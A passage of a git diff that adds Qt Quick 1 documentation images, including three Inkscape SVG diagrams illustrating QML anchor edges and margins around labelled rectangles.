index 0000000000..31e9901f07
--- /dev/null
+++ b/doc/src/qtquick1/pics/edges_examples.svg
@@ -0,0 +1,109 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg3885"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ inkscape:export-filename="/home/mbrasser/edge4.png"
+ inkscape:export-xdpi="189.65207"
+ inkscape:export-ydpi="189.65207"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="edges_examples.svg">
+ <defs
+ id="defs3887" />
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2"
+ inkscape:cx="162.62912"
+ inkscape:cy="591.92069"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="928"
+ inkscape:window-height="624"
+ inkscape:window-x="0"
+ inkscape:window-y="495" />
+ <metadata
+ id="metadata3890">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3893"
+ width="50"
+ height="50"
+ x="100"
+ y="414.36218" />
+ <rect
+ style="opacity:1;fill:#fa0c2a;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3895"
+ width="104"
+ height="50"
+ x="150"
+ y="414.36218" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="109"
+ y="443.65125"
+ id="text3897"><tspan
+ sodipodi:role="line"
+ id="tspan3899"
+ x="109"
+ y="443.65125">rect1</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="186.54297"
+ y="443.65125"
+ id="text3901"><tspan
+ sodipodi:role="line"
+ id="tspan3903"
+ x="186.54297"
+ y="443.65125">rect2</tspan></text>
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:none;stroke-width:1;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect3905"
+ width="50"
+ height="50"
+ x="254"
+ y="414.36218" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="263"
+ y="443.65125"
+ id="text3907"><tspan
+ sodipodi:role="line"
+ id="tspan3909"
+ x="263"
+ y="443.65125">rect3</tspan></text>
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/edges_qml.png b/doc/src/qtquick1/pics/edges_qml.png
new file mode 100644
index 0000000000..73f22f92b3
--- /dev/null
+++ b/doc/src/qtquick1/pics/edges_qml.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/edges_qml.svg b/doc/src/qtquick1/pics/edges_qml.svg
new file mode 100644
index 0000000000..1814ec6b20
--- /dev/null
+++ b/doc/src/qtquick1/pics/edges_qml.svg
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="edges_qml.svg"
+ inkscape:export-filename="/home/mbrasser/edges_qml.png"
+ inkscape:export-xdpi="284.45999"
+ inkscape:export-ydpi="284.45999">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 225.51888,380.99149 C 225.51888,439.06733 225.86873,439.06733 225.86873,439.06733"
+ id="path2760" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 242.97392,380.99149 C 242.97392,439.06733 243.32377,439.06733 243.32377,439.06733"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 208.33832,380.99149 C 208.33832,439.06733 208.68817,439.06733 208.68817,439.06733"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,409.67956 C 256.44329,409.67956 256.09344,409.67956 256.09344,409.67956"
+ id="path3651" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,429.97112 C 256.44329,429.97112 256.09344,429.97112 256.09344,429.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1, 1;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 195.91848,390.78742 C 256.44329,390.78742 256.09344,390.78742 256.09344,390.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.54242"
+ y="393.58627"
+ id="text3657"><tspan
+ sodipodi:role="line"
+ id="tspan3659"
+ x="258.54242"
+ y="393.58627"
+ style="font-size:10px">top</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="258.78955"
+ y="412.28455"
+ id="text3661"><tspan
+ sodipodi:role="line"
+ id="tspan3663"
+ x="258.78955"
+ y="412.28455"
+ style="font-size:10px">verticalCenter</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.18896"
+ y="433.27582"
+ id="text3665"><tspan
+ sodipodi:role="line"
+ id="tspan3667"
+ x="260.18896"
+ y="433.27582"
+ style="font-size:10px">bottom</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="200.96443"
+ y="376.24954"
+ id="text3669"><tspan
+ sodipodi:role="line"
+ id="tspan3671"
+ x="200.96443"
+ y="376.24954"
+ style="font-size:10px">left</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="232.55408"
+ y="375.39383"
+ id="text3673"><tspan
+ sodipodi:role="line"
+ id="tspan3675"
+ x="232.55408"
+ y="375.39383"
+ style="font-size:10px">right</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="190.71951"
+ y="355.25827"
+ id="text3677"><tspan
+ sodipodi:role="line"
+ id="tspan3679"
+ x="190.71951"
+ y="355.25827"
+ style="font-size:10px">horizontalCenter</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Mstart);stroke-opacity:1"
+ d="M 226.2567,375.39382 C 229.40539,356.85154 229.75525,357.20139 229.75525,357.20139"
+ id="path3681" />
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter1.png b/doc/src/qtquick1/pics/extending-tutorial-chapter1.png
new file mode 100644
index 0000000000..9f5836b09c
--- /dev/null
+++ b/doc/src/qtquick1/pics/extending-tutorial-chapter1.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter2.png b/doc/src/qtquick1/pics/extending-tutorial-chapter2.png
new file mode 100644
index 0000000000..5c8f222aad
--- /dev/null
+++ b/doc/src/qtquick1/pics/extending-tutorial-chapter2.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter3.png b/doc/src/qtquick1/pics/extending-tutorial-chapter3.png
new file mode 100644
index 0000000000..825553fc5f
--- /dev/null
+++ b/doc/src/qtquick1/pics/extending-tutorial-chapter3.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/extending-tutorial-chapter5.png b/doc/src/qtquick1/pics/extending-tutorial-chapter5.png
new file mode 100644
index 0000000000..0c2e69e1b4
--- /dev/null
+++ b/doc/src/qtquick1/pics/extending-tutorial-chapter5.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/flickable.gif b/doc/src/qtquick1/pics/flickable.gif
new file mode 100644
index 0000000000..f7a3319496
--- /dev/null
+++ b/doc/src/qtquick1/pics/flickable.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/flipable.gif b/doc/src/qtquick1/pics/flipable.gif
new file mode 100644
index 0000000000..6af46c3e10
--- /dev/null
+++ b/doc/src/qtquick1/pics/flipable.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/gridLayout_example.png b/doc/src/qtquick1/pics/gridLayout_example.png
new file mode 100644
index 0000000000..6b120e9639
--- /dev/null
+++ b/doc/src/qtquick1/pics/gridLayout_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/gridview-highlight.png b/doc/src/qtquick1/pics/gridview-highlight.png
new file mode 100644
index 0000000000..b54af37f93
--- /dev/null
+++ b/doc/src/qtquick1/pics/gridview-highlight.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/gridview-simple.png b/doc/src/qtquick1/pics/gridview-simple.png
new file mode 100644
index 0000000000..a102939f2b
--- /dev/null
+++ b/doc/src/qtquick1/pics/gridview-simple.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/highlight.gif b/doc/src/qtquick1/pics/highlight.gif
new file mode 100644
index 0000000000..fbef256f54
--- /dev/null
+++ b/doc/src/qtquick1/pics/highlight.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/horizontalpositioner_example.png b/doc/src/qtquick1/pics/horizontalpositioner_example.png
new file mode 100644
index 0000000000..42f90ec7ae
--- /dev/null
+++ b/doc/src/qtquick1/pics/horizontalpositioner_example.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/imageprovider.png b/doc/src/qtquick1/pics/imageprovider.png
new file mode 100644
index 0000000000..422103cb07
--- /dev/null
+++ b/doc/src/qtquick1/pics/imageprovider.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/layoutmirroring.png b/doc/src/qtquick1/pics/layoutmirroring.png
new file mode 100644
index 0000000000..df90ac4f9a
--- /dev/null
+++ b/doc/src/qtquick1/pics/layoutmirroring.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/listmodel-nested.png b/doc/src/qtquick1/pics/listmodel-nested.png
new file mode 100644
index 0000000000..ee7ffba67a
--- /dev/null
+++ b/doc/src/qtquick1/pics/listmodel-nested.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/listmodel.png b/doc/src/qtquick1/pics/listmodel.png
new file mode 100644
index 0000000000..7ab1771f15
--- /dev/null
+++ b/doc/src/qtquick1/pics/listmodel.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/listview-highlight.png b/doc/src/qtquick1/pics/listview-highlight.png
new file mode 100644
index 0000000000..dc5c6b3b57
--- /dev/null
+++ b/doc/src/qtquick1/pics/listview-highlight.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/listview-simple.png b/doc/src/qtquick1/pics/listview-simple.png
new file mode 100644
index 0000000000..71a1c5172f
--- /dev/null
+++ b/doc/src/qtquick1/pics/listview-simple.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/margins_qml.png b/doc/src/qtquick1/pics/margins_qml.png
new file mode 100644
index 0000000000..d7d73a3fc9
--- /dev/null
+++ b/doc/src/qtquick1/pics/margins_qml.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/margins_qml.svg b/doc/src/qtquick1/pics/margins_qml.svg
new file mode 100644
index 0000000000..1f0ff022bb
--- /dev/null
+++ b/doc/src/qtquick1/pics/margins_qml.svg
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="744.09448819"
+ height="1052.3622047"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.44.1"
+ sodipodi:docbase="/home/mbrasser/work/Kinetic/ngui/doc/src/pics"
+ sodipodi:docname="margins_qml.svg"
+ inkscape:export-filename="/home/mbrasser/edges_qml.png"
+ inkscape:export-xdpi="284.45999"
+ inkscape:export-ydpi="284.45999">
+ <defs
+ id="defs4">
+ <marker
+ inkscape:stockid="Arrow1Send"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Send"
+ style="overflow:visible;">
+ <path
+ id="path2976"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none;"
+ transform="scale(0.2) rotate(180) translate(6,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Sstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Sstart"
+ style="overflow:visible">
+ <path
+ id="path2979"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.2) translate(6,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Mstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Mstart"
+ style="overflow:visible">
+ <path
+ id="path3850"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.4) translate(10,0)" />
+ </marker>
+ <marker
+ inkscape:stockid="Arrow1Lstart"
+ orient="auto"
+ refY="0.0"
+ refX="0.0"
+ id="Arrow1Lstart"
+ style="overflow:visible">
+ <path
+ id="path3856"
+ d="M 0.0,0.0 L 5.0,-5.0 L -12.5,0.0 L 5.0,5.0 L 0.0,0.0 z "
+ style="fill-rule:evenodd;stroke:#000000;stroke-width:1.0pt;marker-start:none"
+ transform="scale(0.8) translate(12.5,0)" />
+ </marker>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ gridtolerance="10000"
+ guidetolerance="10"
+ objecttolerance="10"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="2.8583315"
+ inkscape:cx="372.04724"
+ inkscape:cy="596.15198"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ inkscape:window-width="1279"
+ inkscape:window-height="969"
+ inkscape:window-x="0"
+ inkscape:window-y="0" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <rect
+ style="opacity:1;fill:#0ca9fa;fill-opacity:1;stroke:black;stroke-width:0.04639034;stroke-miterlimit:4;stroke-dasharray:0.09278069, 0.04639034;stroke-dashoffset:0;stroke-opacity:1"
+ id="rect1872"
+ width="33.656742"
+ height="39.808346"
+ x="208.86543"
+ y="390.22763"
+ rx="5"
+ ry="5" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02602077;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602088, 1.02602088;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 252.98692,377.00435 C 252.98692,443.05433 253.31077,443.05433 253.31077,443.05433"
+ id="path3647" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02601969;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02602007, 1.02602007;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 198.35134,377.00433 C 198.35134,443.05431 198.67515,443.05431 198.67515,443.05431"
+ id="path3649" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 193.94282,437.97112 C 257.43421,437.97112 257.06721,437.97112 257.06721,437.97112"
+ id="path3653" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1.02421367;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-dasharray:1.02421381, 1.02421381;stroke-dashoffset:0;stroke-opacity:1"
+ d="M 193.94282,380.78742 C 257.43421,380.78742 257.06721,380.78742 257.06721,380.78742"
+ id="path3655" />
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="260.29169"
+ y="388.78741"
+ id="text1911"><tspan
+ sodipodi:role="line"
+ id="tspan1913"
+ x="260.29169"
+ y="388.78741"
+ style="font-size:10px">topMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="259.65204"
+ y="437.27798"
+ id="text1915"><tspan
+ sodipodi:role="line"
+ id="tspan1917"
+ x="259.65204"
+ y="437.27798"
+ style="font-size:10px">bottomMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="170.07939"
+ y="454.4209"
+ id="text1919"><tspan
+ sodipodi:role="line"
+ id="tspan1921"
+ x="170.07939"
+ y="454.4209"
+ style="font-size:10px">leftMargin</tspan></text>
+ <text
+ xml:space="preserve"
+ style="font-size:12px;font-style:normal;font-weight:normal;fill:black;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
+ x="228.47504"
+ y="454.4209"
+ id="text1923"><tspan
+ sodipodi:role="line"
+ id="tspan1925"
+ x="228.47504"
+ y="454.4209"
+ style="font-size:10px">rightMargin</tspan></text>
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92020172px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 225.6938,382.51213 C 225.6938,388.91693 225.6938,388.91693 225.6938,388.91693"
+ id="path1929" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:0.92007709px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 225.6938,430.56703 C 225.6938,436.97192 225.6938,436.97192 225.6938,436.97192"
+ id="path3000" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 201.16631,410.1318 C 207.81355,410.1318 207.81355,410.1318 207.81355,410.1318"
+ id="path3002" />
+ <path
+ style="fill:none;fill-opacity:0.75;fill-rule:evenodd;stroke:black;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;marker-start:url(#Arrow1Sstart);marker-mid:none;marker-end:url(#Arrow1Send);stroke-opacity:1"
+ d="M 244.02348,410.1318 C 250.67072,410.1318 250.67072,410.1318 250.67072,410.1318"
+ id="path3889" />
+ </g>
+</svg>
diff --git a/doc/src/qtquick1/pics/parentchange.png b/doc/src/qtquick1/pics/parentchange.png
new file mode 100644
index 0000000000..93206fbbb2
--- /dev/null
+++ b/doc/src/qtquick1/pics/parentchange.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/particles.gif b/doc/src/qtquick1/pics/particles.gif
new file mode 100644
index 0000000000..763a8a8616
--- /dev/null
+++ b/doc/src/qtquick1/pics/particles.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/pathview.gif b/doc/src/qtquick1/pics/pathview.gif
new file mode 100644
index 0000000000..4052eb264b
--- /dev/null
+++ b/doc/src/qtquick1/pics/pathview.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/positioner-add.gif b/doc/src/qtquick1/pics/positioner-add.gif
new file mode 100644
index 0000000000..86e9247073
--- /dev/null
+++ b/doc/src/qtquick1/pics/positioner-add.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/positioner-move.gif b/doc/src/qtquick1/pics/positioner-move.gif
new file mode 100644
index 0000000000..1825c2282b
--- /dev/null
+++ b/doc/src/qtquick1/pics/positioner-move.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/positioner-remove.gif b/doc/src/qtquick1/pics/positioner-remove.gif
new file mode 100644
index 0000000000..708651190c
--- /dev/null
+++ b/doc/src/qtquick1/pics/positioner-remove.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/propanim.gif b/doc/src/qtquick1/pics/propanim.gif
new file mode 100644
index 0000000000..f86406ee7f
--- /dev/null
+++ b/doc/src/qtquick1/pics/propanim.gif
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-context-object.png b/doc/src/qtquick1/pics/qml-context-object.png
new file mode 100644
index 0000000000..1b91aff651
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-context-object.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-context-tree.png b/doc/src/qtquick1/pics/qml-context-tree.png
new file mode 100644
index 0000000000..6bba5f4f05
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-context-tree.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-context.png b/doc/src/qtquick1/pics/qml-context.png
new file mode 100644
index 0000000000..bdf2ecd2c6
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-context.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-extending-types.png b/doc/src/qtquick1/pics/qml-extending-types.png
new file mode 100644
index 0000000000..6990d7c190
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-extending-types.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-gradient.png b/doc/src/qtquick1/pics/qml-gradient.png
new file mode 100644
index 0000000000..5eefdd2031
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-gradient.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qml-scope.png b/doc/src/qtquick1/pics/qml-scope.png
new file mode 100644
index 0000000000..be025c8c3d
--- /dev/null
+++ b/doc/src/qtquick1/pics/qml-scope.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/qtlogo.png b/doc/src/qtquick1/pics/qtlogo.png
new file mode 100644
index 0000000000..399bd0b1d9
--- /dev/null
+++ b/doc/src/qtquick1/pics/qtlogo.png
Binary files differ
diff --git a/doc/src/qtquick1/pics/rect-border-width.png b/doc/src/qtquick1/pics/rect-border-width.png
new file mode 100644
index 0000000000..e232cf3ebd
